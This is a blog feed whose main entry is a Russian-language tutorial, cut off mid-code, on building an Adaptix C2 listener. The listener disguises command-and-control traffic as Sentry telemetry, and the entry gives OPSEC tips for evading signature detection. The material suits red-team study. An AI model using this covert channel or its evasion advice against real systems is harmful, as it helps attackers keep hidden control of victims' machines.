<?xml version="1.0" encoding="utf-8" ?><feed xmlns="http://www.w3.org/2005/Atom" xmlns:tt="http://teletype.in/" xmlns:opensearch="http://a9.com/-/spec/opensearch/1.1/"><title>Magnum Malum</title><subtitle>Information Security Specialist</subtitle><author><name>Magnum Malum</name></author><id>https://teletype.in/atom/magnummalum</id><link rel="self" type="application/atom+xml" href="https://teletype.in/atom/magnummalum?offset=0"></link><link rel="alternate" type="text/html" href="https://teletype.in/@magnummalum?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=magnummalum"></link><link rel="next" type="application/rss+xml" href="https://teletype.in/atom/magnummalum?offset=10"></link><link rel="search" type="application/opensearchdescription+xml" title="Teletype" href="https://teletype.in/opensearch.xml"></link><updated>2026-04-25T17:36:14.641Z</updated><entry><id>magnummalum:adaptixc2-create-agent</id><link rel="alternate" type="text/html" href="https://teletype.in/@magnummalum/adaptixc2-create-agent?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=magnummalum"></link><title>Создаём агента для Adaptix C2</title><published>2025-11-16T16:34:01.693Z</published><updated>2025-11-17T17:14:09.919Z</updated><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://img3.teletype.in/files/e3/1d/e31dc345-935d-4db3-9311-e322d0576751.png"></media:thumbnail><category term="c-2" label="c2"></category><summary type="html">&lt;img src=&quot;https://img1.teletype.in/files/0b/e7/0be72342-2284-4b55-9461-ede1cd555613.png&quot;&gt;Мой любимый C2 фреймворк, Adaptix - в последнее время набирает всё большую популярность. В этой статье мы рассмотрим как создать нового или адаптировать существующего агента под Adaptix C2.</summary><content type="html">
  &lt;nav&gt;
    &lt;ul&gt;
      &lt;li class=&quot;m_level_1&quot;&gt;&lt;a href=&quot;#y6LF&quot;&gt;Что мы будем делать&lt;/a&gt;&lt;/li&gt;
      &lt;li class=&quot;m_level_2&quot;&gt;&lt;a href=&quot;#XZ8H&quot;&gt;Создаём листенер&lt;/a&gt;&lt;/li&gt;
      &lt;li class=&quot;m_level_2&quot;&gt;&lt;a href=&quot;#d75h&quot;&gt;Подготавливаем окружение&lt;/a&gt;&lt;/li&gt;
      &lt;li class=&quot;m_level_2&quot;&gt;&lt;a href=&quot;#jHJz&quot;&gt;Создаём объект листенера&lt;/a&gt;&lt;/li&gt;
      &lt;li class=&quot;m_level_2&quot;&gt;&lt;a href=&quot;#W2Ol&quot;&gt;Определяем протокол общения&lt;/a&gt;&lt;/li&gt;
      &lt;li class=&quot;m_level_2&quot;&gt;&lt;a href=&quot;#tRVe&quot;&gt;Интерфейс листенера&lt;/a&gt;&lt;/li&gt;
      &lt;li class=&quot;m_level_2&quot;&gt;&lt;a href=&quot;#WLK2&quot;&gt;Код для работы с листенером&lt;/a&gt;&lt;/li&gt;
      &lt;li class=&quot;m_level_2&quot;&gt;&lt;a href=&quot;#epPk&quot;&gt;Собираем листенер&lt;/a&gt;&lt;/li&gt;
      &lt;li class=&quot;m_level_1&quot;&gt;&lt;a href=&quot;#vWNp&quot;&gt;Создаём агента&lt;/a&gt;&lt;/li&gt;
      &lt;li class=&quot;m_level_2&quot;&gt;&lt;a href=&quot;#UXeQ&quot;&gt;Реализуем функции в агенте&lt;/a&gt;&lt;/li&gt;
      &lt;li class=&quot;m_level_2&quot;&gt;&lt;a href=&quot;#ydpW&quot;&gt;Добавляем оставшиеся функции&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/nav&gt;
  &lt;p id=&quot;achu&quot;&gt;Мой любимый C2 фреймворк, &lt;a href=&quot;http://github.com/Adaptix-Framework&quot; target=&quot;_blank&quot;&gt;Adaptix &lt;/a&gt;- в последнее время набирает всё большую популярность. В этой статье мы рассмотрим как создать нового или адаптировать существующего агента под Adaptix C2. &lt;/p&gt;
  &lt;p id=&quot;sByr&quot;&gt;Adaptix C2 выделяется среди фреймворков не только красивым и удобным интерфейсом, но и лёгкостью расширения. Добавлять BOF, агентов или листенеров достаточно просто - и в этой заметке мы наглядно это рассмотрим.&lt;/p&gt;
  &lt;p id=&quot;qjvz&quot;&gt;Перед началом, немного похвастаюсь своим вкладом в проект (ведь если сам себя не похвалишь..)):&lt;/p&gt;
  &lt;ul id=&quot;0oz4&quot;&gt;
    &lt;li id=&quot;OFuJ&quot;&gt;Сделал Extender (BOF) для SAM hashdump (&lt;a href=&quot;https://github.com/Adaptix-Framework/Extension-Kit/tree/main/Creds-BOF/hashdump&quot; target=&quot;_blank&quot;&gt;https://github.com/Adaptix-Framework/Extension-Kit/tree/main/Creds-BOF/hashdump&lt;/a&gt;)&lt;/li&gt;
    &lt;li id=&quot;TNGs&quot;&gt;Сделал Extender (BOF) для PSEXEC (&lt;a href=&quot;https://github.com/Adaptix-Framework/Extension-Kit/tree/main/LateralMovement-BOF/psexec&quot; target=&quot;_blank&quot;&gt;https://github.com/Adaptix-Framework/Extension-Kit/tree/main/LateralMovement-BOF/psexec&lt;/a&gt;)&lt;/li&gt;
    &lt;li id=&quot;hTAt&quot;&gt;+обнаружил на ранней стадии разработке command injection и пару проблем работы с BOF&amp;#x27;ами&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p id=&quot;r4Rd&quot;&gt;&lt;/p&gt;
  &lt;p id=&quot;1Lql&quot;&gt;Статья писалась для Adaptix v0.10 - так что какие-то моменты могут измениться в будущем (пишите об этом в комменты или личку, я обновлю заметку).&lt;/p&gt;
  &lt;p id=&quot;iGVH&quot;&gt;Не будем особо тянуть - сразу к делу:&lt;/p&gt;
  &lt;h2 id=&quot;y6LF&quot;&gt;Что мы будем делать&lt;/h2&gt;
  &lt;p id=&quot;h1zf&quot;&gt;Для удобства разработки, писать агента мы будем на PowerShell (и работать он будет только под Windows), а в качестве протокола для листенера будем использовать HTTP, замаскированный под телеметрию Sentry. Чтобы не усложнять разработку, остановимся на следующем функционале:&lt;/p&gt;
  &lt;ul id=&quot;ryiD&quot;&gt;
    &lt;li id=&quot;ebFO&quot;&gt;Запуск программ (run)&lt;/li&gt;
    &lt;li id=&quot;Zdnd&quot;&gt;Работа с директориями и файлами (ls/cd/cat)&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p id=&quot;NrIn&quot;&gt;Туннели, BOFы, интерактивные терминалы и прочие фишки можете попробовать добавить самостоятельно.&lt;/p&gt;
  &lt;p id=&quot;PFeY&quot;&gt;Первым делом ставим Adaptix C2 (если у вас он не стоит). Как это сделать подробно описано в &lt;a href=&quot;https://adaptix-framework.gitbook.io/adaptix-framework/adaptix-c2/getting-starting/installation&quot; target=&quot;_blank&quot;&gt;Wiki&lt;/a&gt;&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(55,  86%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;z0rP&quot;&gt;Создание агента требует некоторых навыков в разработке, особенно знания Golang. Без этих знаний разобраться в теме может быть сложно.&lt;/p&gt;
  &lt;/section&gt;
  &lt;section style=&quot;background-color:hsl(hsl(323, 50%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;CxPG&quot;&gt;OPSEC: Использование HTTP (без S), и реализация методов &amp;quot;в лоб&amp;quot;, будет легко палиться как аналитиками, так и EDR/NTA/SIEM. Код в статье предназначен только для учебных целей!&lt;/p&gt;
  &lt;/section&gt;
  &lt;h3 id=&quot;XZ8H&quot;&gt;Создаём листенер&lt;/h3&gt;
  &lt;p id=&quot;viVm&quot;&gt;Для начала, склонируем репозиторий с шаблонами для разработки (&lt;a href=&quot;https://github.com/Adaptix-Framework/templates-extender&quot; target=&quot;_blank&quot;&gt;https://github.com/Adaptix-Framework/templates-extender&lt;/a&gt;):&lt;/p&gt;
  &lt;pre id=&quot;hHYJ&quot; data-lang=&quot;bash&quot;&gt;git clone https://github.com/Adaptix-Framework/templates-extender
cd templates-extender&lt;/pre&gt;
  &lt;p id=&quot;6PRc&quot;&gt;Папка, в которой будет лежать наш Listener - listener_template_external.&lt;/p&gt;
  &lt;p id=&quot;QkTW&quot;&gt;Я буду следовать той же структуре файлов, что и в оригинальных Extender у Adaptix C2, и создам файл pl_http.go для реализации самого листенера.&lt;/p&gt;
  &lt;figure id=&quot;5sTW&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/a3/e3/a3e33313-b0fd-4072-a5c9-aa21d56f5778.png&quot; width=&quot;1120&quot; /&gt;
    &lt;figcaption&gt;Структура работы листенера&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;vDom&quot;&gt;Как видно по схеме, файл pl_listener в такой структуре кода предоставляет унифицированный интерфейс для работы с объектом листенера (код для которого будет лежать в pl_http.go).&lt;/p&gt;
  &lt;p id=&quot;uWYm&quot;&gt;Теперь пробежимся по файлам которые у нас есть в директории:&lt;/p&gt;
  &lt;pre id=&quot;njLh&quot;&gt;ax_config.axs - Определяет как будет выглядеть менюшка создания нашего листенера
config.json - Конфигурация нашего листенера (имя, путь до файлов, ..)
go.mod - Стандартный файл golang с зависимостями
go.sum
Makefile - Файл который определяет способ сборки extender
pl_http.go - Тут мы будем писать код листенера (как слушать, как формировать пакеты, итд)
pl_listener.go - Тут шаблонный код для управления листенером (создание/остановка)
pl_main.go - Этот файл мы не меняем, шаблонный код для работы Extender&lt;/pre&gt;
  &lt;h3 id=&quot;d75h&quot;&gt;Подготавливаем окружение&lt;/h3&gt;
  &lt;p id=&quot;qwIy&quot;&gt;До начала работы с проектом, в go.mod указываем имя модуля:&lt;/p&gt;
  &lt;figure id=&quot;ib5B&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/a8/6c/a86cff6a-5efe-47b1-aea9-661f69fe3b79.png&quot; width=&quot;644&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;yEip&quot;&gt;Кроме того, чтобы наш Listener установился как плагин для сервера, нужно указать правильные версии библиотек. Скопируйте содержимое go.mod из любого оригинального листенера Adaptix (Я взял &lt;a href=&quot;https://github.com/Adaptix-Framework/AdaptixC2/blob/a471dcaa016943260948030632acd5f78ea7d1b4/Extenders/beacon_listener_http/go.mod&quot; target=&quot;_blank&quot;&gt;beacon_listener_http&lt;/a&gt;), и вставьте в свой проект. В моём случае это были следующие строки (напомню, я использую Adaptix v0.10):&lt;/p&gt;
  &lt;pre id=&quot;rZ4U&quot; data-lang=&quot;go&quot;&gt;require (
        github.com/Adaptix-Framework/axc2 v0.9.0
        github.com/gin-gonic/gin v1.11.0
)

require (
        github.com/bytedance/gopkg v0.1.3 // indirect
        github.com/bytedance/sonic v1.14.1 // indirect
        github.com/bytedance/sonic/loader v0.3.0 // indirect
        github.com/cloudwego/base64x v0.1.6 // indirect
        github.com/gabriel-vasile/mimetype v1.4.10 // indirect
        github.com/gin-contrib/sse v1.1.0 // indirect
        github.com/go-playground/locales v0.14.1 // indirect
        github.com/go-playground/universal-translator v0.18.1 // indirect
        github.com/go-playground/validator/v10 v10.27.0 // indirect
        github.com/goccy/go-json v0.10.5 // indirect
        github.com/goccy/go-yaml v1.18.0 // indirect
        github.com/json-iterator/go v1.1.12 // indirect
        github.com/klauspost/cpuid/v2 v2.3.0 // indirect
        github.com/leodido/go-urn v1.4.0 // indirect
        github.com/mattn/go-isatty v0.0.20 // indirect
        github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd // indirect
        github.com/modern-go/reflect2 v1.0.2 // indirect
        github.com/pelletier/go-toml/v2 v2.2.4 // indirect
        github.com/quic-go/qpack v0.5.1 // indirect
        github.com/quic-go/quic-go v0.54.1 // indirect
        github.com/twitchyliquid64/golang-asm v0.15.1 // indirect
        github.com/ugorji/go/codec v1.3.0 // indirect
        go.uber.org/mock v0.6.0 // indirect
        golang.org/x/arch v0.21.0 // indirect
        golang.org/x/crypto v0.42.0 // indirect
        golang.org/x/mod v0.28.0 // indirect
        golang.org/x/net v0.44.0 // indirect
        golang.org/x/sync v0.17.0 // indirect
        golang.org/x/sys v0.36.0 // indirect
        golang.org/x/text v0.29.0 // indirect
        golang.org/x/tools v0.37.0 // indirect
        google.golang.org/protobuf v1.36.10 // indirect
)
&lt;/pre&gt;
  &lt;p id=&quot;ytrC&quot;&gt;Подгрузите модули:&lt;/p&gt;
  &lt;pre id=&quot;NBzB&quot; data-lang=&quot;bash&quot;&gt;go mod tidy&lt;/pre&gt;
  &lt;h3 id=&quot;jHJz&quot;&gt;Создаём объект листенера&lt;/h3&gt;
  &lt;p id=&quot;XMgB&quot;&gt;Теперь приступим к написанию кода. Сперва создадим структуру для настроек листенера. Наш листенер достаточно простой, поэтому полей будет мало:&lt;/p&gt;
  &lt;pre id=&quot;VukC&quot; data-lang=&quot;go&quot;&gt;type HTTPConfig struct {
	HostBind           string &amp;#x60;json:&amp;quot;host_bind&amp;quot;&amp;#x60;
	PortBind           int    &amp;#x60;json:&amp;quot;port_bind&amp;quot;&amp;#x60;
	CallbackAddress string &amp;#x60;json:&amp;quot;callback_address&amp;quot;&amp;#x60;
}&lt;/pre&gt;
  &lt;p id=&quot;G0Sn&quot;&gt;&lt;strong&gt;HostBind &lt;/strong&gt;- На каком адресе листенер будет слушать&lt;br /&gt;&lt;strong&gt;PortBind &lt;/strong&gt;- На каком порту листенер будет слушать&lt;br /&gt;&lt;strong&gt;CallbackAddress &lt;/strong&gt;- Адрес, по которому агент будет стучаться на сервер. Может быть равен HostBind, а может быть и не равен - например если используем Redirector&lt;/p&gt;
  &lt;p id=&quot;QHG5&quot;&gt;Теперь структуру для самого листенера:&lt;/p&gt;
  &lt;pre id=&quot;UaCq&quot; data-lang=&quot;go&quot;&gt;type HTTP struct {
	GinEngine *gin.Engine
	Server    *http.Server
	Config    HTTPConfig
	Name      string
	Active    bool
}&lt;/pre&gt;
  &lt;p id=&quot;Vl2e&quot;&gt;Определим как запускается наш листенер:&lt;/p&gt;
  &lt;pre id=&quot;bwfr&quot; data-lang=&quot;go&quot;&gt;func (handler *HTTP) Start(ts Teamserver) error {
	var err error = nil

	// Настраиваем Gin
	gin.SetMode(gin.ReleaseMode)
	router := gin.New()

	// Привязываем наш обработчик запросов к пути
	router.POST(&amp;quot;/api/:id/envelope&amp;quot;, handler.processRequest)

	// Инициализируем статус листенера
	handler.Active = true

	// Создаём HTTP сервер
	handler.Server = &amp;amp;http.Server{
		Addr:    fmt.Sprintf(&amp;quot;%s:%d&amp;quot;, handler.Config.HostBind, handler.Config.PortBind),
		Handler: router,
	}

	fmt.Printf(&amp;quot;   Started listener: http://%s:%d\n&amp;quot;, handler.Config.HostBind, handler.Config.PortBind)

	// В отдельной горутине запускаем наш HTTP-сервер
	go func() {
		err = handler.Server.ListenAndServe()
		if err != nil &amp;amp;&amp;amp; !errors.Is(err, http.ErrServerClosed) {
			fmt.Printf(&amp;quot;Error starting HTTP server: %v\n&amp;quot;, err)
			return
		}
		handler.Active = true
	}()

	// Немного ждём, чтобы сервер успел подняться
	time.Sleep(500 * time.Millisecond)
	return err
}&lt;/pre&gt;
  &lt;p id=&quot;tWPx&quot;&gt;Код достаточно несложный. Если вам захочется добавить SSL, можно ознакомиться с оригинальным листенером &lt;a href=&quot;https://github.com/Adaptix-Framework/AdaptixC2/blob/main/Extenders/beacon_listener_http/pl_http.go&quot; target=&quot;_blank&quot;&gt;BeaconHTTP&lt;/a&gt; - там он есть.&lt;/p&gt;
  &lt;p id=&quot;YJko&quot;&gt;Cделаем возможность останавливать листенер:&lt;/p&gt;
  &lt;pre id=&quot;LH1p&quot; data-lang=&quot;go&quot;&gt;func (handler *HTTP) Stop() error {
	var (
		ctx    context.Context
		cancel context.CancelFunc
		err    error = nil
	)

	ctx, cancel = context.WithTimeout(context.Background(), 3*time.Second)
	defer cancel()

	err = handler.Server.Shutdown(ctx)
	return err
}&lt;/pre&gt;
  &lt;h3 id=&quot;W2Ol&quot;&gt;Определяем протокол общения&lt;/h3&gt;
  &lt;p id=&quot;8sXO&quot;&gt;Внимательные уже могли заметить, что ранее мы повесили на наш путь &amp;quot;/api/../envelope&amp;quot; функцию &lt;code&gt;processRequest&lt;/code&gt;. Эта функция и будет содержать саму суть листенера - способ обработки запросов от агентов.&lt;/p&gt;
  &lt;p id=&quot;DzCL&quot;&gt;Перед тем как продолжить писать код, взглянем на типичный запрос на Sentry:&lt;/p&gt;
  &lt;pre id=&quot;WrF0&quot;&gt;{&amp;quot;event_id&amp;quot;:&amp;quot;a1b2c3d4e5f6g7h8&amp;quot;,&amp;quot;sent_at&amp;quot;:&amp;quot;2025-01-01T00:00:00.000Z&amp;quot;,&amp;quot;sdk&amp;quot;:{&amp;quot;name&amp;quot;:&amp;quot;sentry.javascript.browser&amp;quot;,&amp;quot;version&amp;quot;:&amp;quot;7.0.0&amp;quot;}}
{&amp;quot;type&amp;quot;:&amp;quot;transaction&amp;quot;}
{&amp;quot;contexts&amp;quot;:{&amp;quot;trace&amp;quot;:{&amp;quot;trace_id&amp;quot;:&amp;quot;trace123456789abc&amp;quot;,&amp;quot;span_id&amp;quot;:&amp;quot;span123456789abc&amp;quot;,&amp;quot;op&amp;quot;:&amp;quot;pageload&amp;quot;,&amp;quot;description&amp;quot;:&amp;quot;Page load transaction for homepage&amp;quot;}},&amp;quot;spans&amp;quot;:[{&amp;quot;span_id&amp;quot;:&amp;quot;span987654321def&amp;quot;,&amp;quot;op&amp;quot;:&amp;quot;http.client&amp;quot;,&amp;quot;description&amp;quot;:&amp;quot;GET /api/users - Fetch user data&amp;quot;,&amp;quot;start_timestamp&amp;quot;:1704067200.000,&amp;quot;timestamp&amp;quot;:1704067200.100,&amp;quot;trace_id&amp;quot;:&amp;quot;trace123456789abc&amp;quot;}],&amp;quot;start_timestamp&amp;quot;:1704067200.000,&amp;quot;timestamp&amp;quot;:1704067201.000,&amp;quot;transaction&amp;quot;:&amp;quot;/home&amp;quot;,&amp;quot;type&amp;quot;:&amp;quot;transaction&amp;quot;,&amp;quot;platform&amp;quot;:&amp;quot;javascript&amp;quot;}&lt;/pre&gt;
  &lt;p id=&quot;p1sI&quot;&gt;Для передачи данных, я выбрал поле &amp;quot;description&amp;quot; в &amp;quot;span&amp;quot; - в него агент будет запихивать данные для передачи.&lt;/p&gt;
  &lt;p id=&quot;axfm&quot;&gt;Ответ от сервера Sentry обычно содержит только одно поле - &amp;quot;id&amp;quot;. За неимением лучшего, будем использовать его, а пейлоад закодируем в HEX.&lt;/p&gt;
  &lt;p id=&quot;xStj&quot;&gt;Для передачи HeartBeat (данных о конфигурации агента), будем использовать поле &amp;quot;event_id&amp;quot;:&lt;/p&gt;
  &lt;figure id=&quot;UxpR&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/06/07/060701d2-d274-4670-9046-29c4b1d71d35.png&quot; width=&quot;1082&quot; /&gt;
  &lt;/figure&gt;
  &lt;section style=&quot;background-color:hsl(hsl(323, 50%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;RqNU&quot;&gt;OPSEC: Для такого запроса очень легко разработать сигнатуры, из-за статичных полей (например, trace_id) - поэтому их лучше рандомизировать. И сам пейлоад лучше шифровать - хотя бы двух-трёх байтовым XOR - чтобы сигнатуры HeartBeat и данных было сложнее анализировать&lt;/p&gt;
  &lt;/section&gt;
  &lt;p id=&quot;gjWT&quot;&gt;Таким образом, для получения данных из пакета от агента, нам нужно получить третью строку из POST-запроса, спарсить JSON и вытащить &lt;code&gt;.spans[0].description&lt;/code&gt;.&lt;/p&gt;
  &lt;pre id=&quot;wh83&quot; data-lang=&quot;go&quot;&gt;func (handler *HTTP) processRequest(ctx *gin.Context) {
	var (
		ExternalIP   string
		err          error
		agentType    string
		agentId      string
		beat         []byte
		bodyData     []byte
		responseData []byte
	)

	// Получаем IP подключенного агента
	ExternalIP = strings.Split(ctx.Request.RemoteAddr, &amp;quot;:&amp;quot;)[0]

	// Парсим данные переданные агентом
	agentType, agentId, beat, bodyData, err = handler.parseBeatAndData(ctx)
	if err != nil {
		goto ERR
	}

	if !ModuleObject.ts.TsAgentIsExists(agentId) {
		_, err = ModuleObject.ts.TsAgentCreate(agentType, agentId, beat, handler.Name, ExternalIP, true)
		if err != nil {
			goto ERR
		}
	}

	_ = ModuleObject.ts.TsAgentSetTick(agentId)

	_ = ModuleObject.ts.TsAgentProcessData(agentId, bodyData)

	responseData, err = ModuleObject.ts.TsAgentGetHostedAll(agentId, 0x1900000) // 25 Mb

	if err != nil {
		goto ERR
	} else {
		hexEncodedResponseData := hex.EncodeToString(responseData)
		response := &amp;#x60;{&amp;quot;id&amp;quot;: &amp;quot;&amp;#x60; + hexEncodedResponseData + &amp;#x60;&amp;quot;}&amp;#x60;
		// Формируем ответ от сервера
		ctx.Writer.Header().Add(&amp;quot;Content-Type&amp;quot;, &amp;quot;application/json&amp;quot;)
		_, err = ctx.Writer.Write([]byte(response))
		if err != nil {
			// Если произошла ошибка, откидываем 404
			fmt.Println(&amp;quot;Failed to write to request: &amp;quot; + err.Error())
			ctx.Writer.WriteHeader(http.StatusNotFound)
			return
		}
	}

	ctx.AbortWithStatus(http.StatusOK)
	return

ERR:
	// Если произошла ошибка, откидываем 404
	fmt.Println(&amp;quot;Error: &amp;quot; + err.Error()) // Оставим временно для отладки
	ctx.Writer.WriteHeader(http.StatusNotFound)
}&lt;/pre&gt;
  &lt;p id=&quot;GNRD&quot;&gt;Эта часть кода отвечает за приём данных и отправку сформированного пакета обратно &lt;strong&gt;в агента&lt;/strong&gt;. Код для парсинга данных &lt;strong&gt;от агента&lt;/strong&gt; (bodyData) вынесем в отдельную функцию (parseBeatAndData).&lt;/p&gt;
  &lt;pre id=&quot;NWtM&quot; data-lang=&quot;go&quot;&gt;type BeatLine struct {
	EventId string &amp;#x60;json:&amp;quot;event_id&amp;quot;&amp;#x60;
}

type DataLine struct {
	Spans []struct {
		Description string &amp;#x60;json:&amp;quot;description&amp;quot;&amp;#x60;
	} &amp;#x60;json:&amp;quot;spans&amp;quot;&amp;#x60;
}

func (handler *HTTP) parseBeatAndData(ctx *gin.Context) (string, string, []byte, []byte, error) {
	var (
		agentType uint
		agentId   uint
		agentInfo []byte
		bodyData  []byte
		err       error
		firstLine []byte
		thirdLine []byte
		agentData []byte
	)

	bodyData, err = io.ReadAll(ctx.Request.Body)
	if err != nil {
		return &amp;quot;&amp;quot;, &amp;quot;&amp;quot;, nil, nil, errors.New(&amp;quot;missing POST data&amp;quot;)
	}

	lines := bytes.Split(bodyData, []byte{&amp;#x27;\n&amp;#x27;})
	if len(lines) &amp;lt; 3 {
		return &amp;quot;&amp;quot;, &amp;quot;&amp;quot;, nil, nil, errors.New(&amp;quot;missing data - less than 3 lines&amp;quot;)
	}
	firstLine = lines[0]
	thirdLine = lines[2]

	// Parse beat (first line of json -&amp;gt; event_id)
	var beatLine BeatLine

	err = json.Unmarshal(firstLine, &amp;amp;beatLine)
	if err != nil {
		return &amp;quot;&amp;quot;, &amp;quot;&amp;quot;, nil, nil, errors.New(&amp;quot;failed decode beat&amp;quot;)
	}

	agentInfoEncoded := beatLine.EventId

	agentInfo, err = hex.DecodeString(agentInfoEncoded)
	if err != nil {
		return &amp;quot;&amp;quot;, &amp;quot;&amp;quot;, nil, nil, errors.New(&amp;quot;failed decode beat&amp;quot;)
	}

	agentType = uint(binary.LittleEndian.Uint32(agentInfo[:4]))
	agentInfo = agentInfo[4:]
	agentId = uint(binary.LittleEndian.Uint32(agentInfo[:4]))
	agentInfo = agentInfo[4:]

	// Parse beat (first line of json -&amp;gt; event_id)
	var dataLine DataLine

	err = json.Unmarshal(thirdLine, &amp;amp;dataLine)
	if err != nil {

		return &amp;quot;&amp;quot;, &amp;quot;&amp;quot;, nil, nil, errors.New(&amp;quot;failed decode data&amp;quot;)
	}

	if len(dataLine.Spans) == 0 {
		return &amp;quot;&amp;quot;, &amp;quot;&amp;quot;, nil, nil, errors.New(&amp;quot;failed decode data - no spans&amp;quot;)
	}

	agentDataEncoded := dataLine.Spans[0].Description
	agentData, err = hex.DecodeString(agentDataEncoded)
	if err != nil {
		return &amp;quot;&amp;quot;, &amp;quot;&amp;quot;, nil, nil, errors.New(&amp;quot;failed decode data&amp;quot;)
	}

	return fmt.Sprintf(&amp;quot;%08x&amp;quot;, agentType), fmt.Sprintf(&amp;quot;%08x&amp;quot;, agentId), agentInfo, agentData, nil
}
&lt;/pre&gt;
  &lt;p id=&quot;ZRyT&quot;&gt;Этот код можно условно представить в следующем виде:&lt;/p&gt;
  &lt;ol id=&quot;sxck&quot;&gt;
    &lt;li id=&quot;XYWr&quot;&gt;Выделяем три линии из тела запроса, считывая их из тела запроса (ctx.Request.Body)&lt;/li&gt;
    &lt;li id=&quot;nE73&quot;&gt;Парсим JSON из первой линии. Берём данные из поля &amp;quot;event_id&amp;quot;, декодируем из HEX и раскладываем по полям&lt;/li&gt;
    &lt;li id=&quot;s6Wu&quot;&gt;Парсим JSON из третьей линии. Берём данные из поля &amp;quot;.spans[0].description&amp;quot;, декодируем из HEX и отдаём как ответ агента&lt;/li&gt;
  &lt;/ol&gt;
  &lt;h3 id=&quot;tRVe&quot;&gt;Интерфейс листенера&lt;/h3&gt;
  &lt;p id=&quot;3SV2&quot;&gt;Создаём AxScript для меню (напомню, у нас используются только три поля для конфигурации листенера). Её я так же переделал из BeaconHTTP. Помните мы задавали json-тэги (&lt;code&gt;&amp;#x60;json:&amp;quot;host_bind&amp;quot;&amp;#x60;&lt;/code&gt;) для параметров HTTPConfig? При создании формы AxScript, в &amp;quot;container.put&amp;quot; первым аргументом указываем именно это имя. AxScript передаст JSON с сериализованными полями на вход в наш pl_listener.go&lt;/p&gt;
  &lt;pre id=&quot;cHYR&quot; data-lang=&quot;javascript&quot;&gt;/// PaperShell HTTP listener

function ListenerUI(mode_create)
{
    // Host selector
    let labelHost = form.create_label(&amp;quot;Host &amp;amp; port (Bind):&amp;quot;);
    let comboHostBind = form.create_combo();
    comboHostBind.setEnabled(mode_create)
    comboHostBind.clear();
    let addrs = ax.interfaces();
    for (let item of addrs) { comboHostBind.addItem(item); }

    // Port selector
    let spinPortBind = form.create_spin();
    spinPortBind.setRange(1, 65535);
    spinPortBind.setValue(8080);
    spinPortBind.setEnabled(mode_create)

    // Callback selector
    let labelCallback = form.create_label(&amp;quot;Callback address:&amp;quot;);
    let textCallback = form.create_textline();
    textCallback.setPlaceholder(&amp;quot;192.168.1.1:8080&amp;quot;);

    let container = form.create_container();
    container.put(&amp;quot;host_bind&amp;quot;, comboHostBind);
    container.put(&amp;quot;port_bind&amp;quot;, spinPortBind);
    container.put(&amp;quot;callback_address&amp;quot;, textCallback);

    let layout = form.create_gridlayout();
    let spacer1 = form.create_vspacer();
    let spacer2 = form.create_vspacer();

    layout.addWidget(spacer1, 0, 0, 1, 2);

    layout.addWidget(labelHost, 1, 0, 1, 2);
    layout.addWidget(comboHostBind, 2, 0, 1, 1);
    layout.addWidget(spinPortBind, 2, 1, 1, 1);

    layout.addWidget(labelCallback, 3, 0, 1, 2);
    layout.addWidget(textCallback, 4, 0, 1, 2);

    layout.addWidget(spacer2, 5, 0, 1, 2);

    let panel = form.create_panel();
    panel.setLayout(layout);

    return {
        ui_panel: panel,
        ui_container: container
    }
}
&lt;/pre&gt;
  &lt;p id=&quot;psLl&quot;&gt;Создание формочки достаточно простое, но нужно учитывать следующие моменты:&lt;/p&gt;
  &lt;p id=&quot;zM3s&quot;&gt;&lt;code&gt;container &lt;/code&gt;- это объект который будет сериализовывать входные данные от инпутов. За отрисовку он не отвечает&lt;/p&gt;
  &lt;p id=&quot;Kf8W&quot;&gt;&lt;code&gt;panel &lt;/code&gt;- отвечает за отрисовку элементов. Чтобы расположить элементы в panel, понадобится layout.&lt;/p&gt;
  &lt;p id=&quot;HgxP&quot;&gt;Больше информации про то как создавать менюшки есть в документации - &lt;a href=&quot;https://adaptix-framework.gitbook.io/adaptix-framework/development/axscript/axform-type&quot; target=&quot;_blank&quot;&gt;https://adaptix-framework.gitbook.io/adaptix-framework/development/axscript/axform-type&lt;/a&gt;&lt;/p&gt;
  &lt;h3 id=&quot;WLK2&quot;&gt;Код для работы с листенером&lt;/h3&gt;
  &lt;p id=&quot;hWbd&quot;&gt;Теперь нам нужно написать код для создания, запуска, остановки листенера через плагин (в pl_listener.go). Создаем валидатор конфига:&lt;/p&gt;
  &lt;pre id=&quot;mAad&quot; data-lang=&quot;go&quot;&gt;func (m *ModuleExtender) HandlerListenerValid(data string) error {

	var (
		err  error
		conf HTTPConfig
	)

	// data - это данные из AxScript

	err = json.Unmarshal([]byte(data), &amp;amp;conf)
	if err != nil {
		return err
	}

	if conf.HostBind == &amp;quot;&amp;quot; {
		return errors.New(&amp;quot;HostBind is required&amp;quot;)
	}

	if conf.PortBind &amp;lt; 1 || conf.PortBind &amp;gt; 65535 {
		return errors.New(&amp;quot;PortBind must be in the range 1-65535&amp;quot;)
	}

	if conf.CallbackAddress == &amp;quot;&amp;quot; {
		return errors.New(&amp;quot;callback_address is required&amp;quot;)
	}

	// Check callback address

	host, portStr, err := net.SplitHostPort(conf.CallbackAddress)
	if err != nil {
		return fmt.Errorf(&amp;quot;Invalid address (cannot split host:port): %s\n&amp;quot;, conf.CallbackAddress)
	}

	port, err := strconv.Atoi(portStr)
	if err != nil || port &amp;lt; 1 || port &amp;gt; 65535 {
		return fmt.Errorf(&amp;quot;Invalid port: %s\n&amp;quot;, conf.CallbackAddress)
	}

	ip := net.ParseIP(host)
	if ip == nil {
		if len(host) == 0 || len(host) &amp;gt; 253 {
			return fmt.Errorf(&amp;quot;Invalid host: %s\n&amp;quot;, conf.CallbackAddress)
		}
		parts := strings.Split(host, &amp;quot;.&amp;quot;)
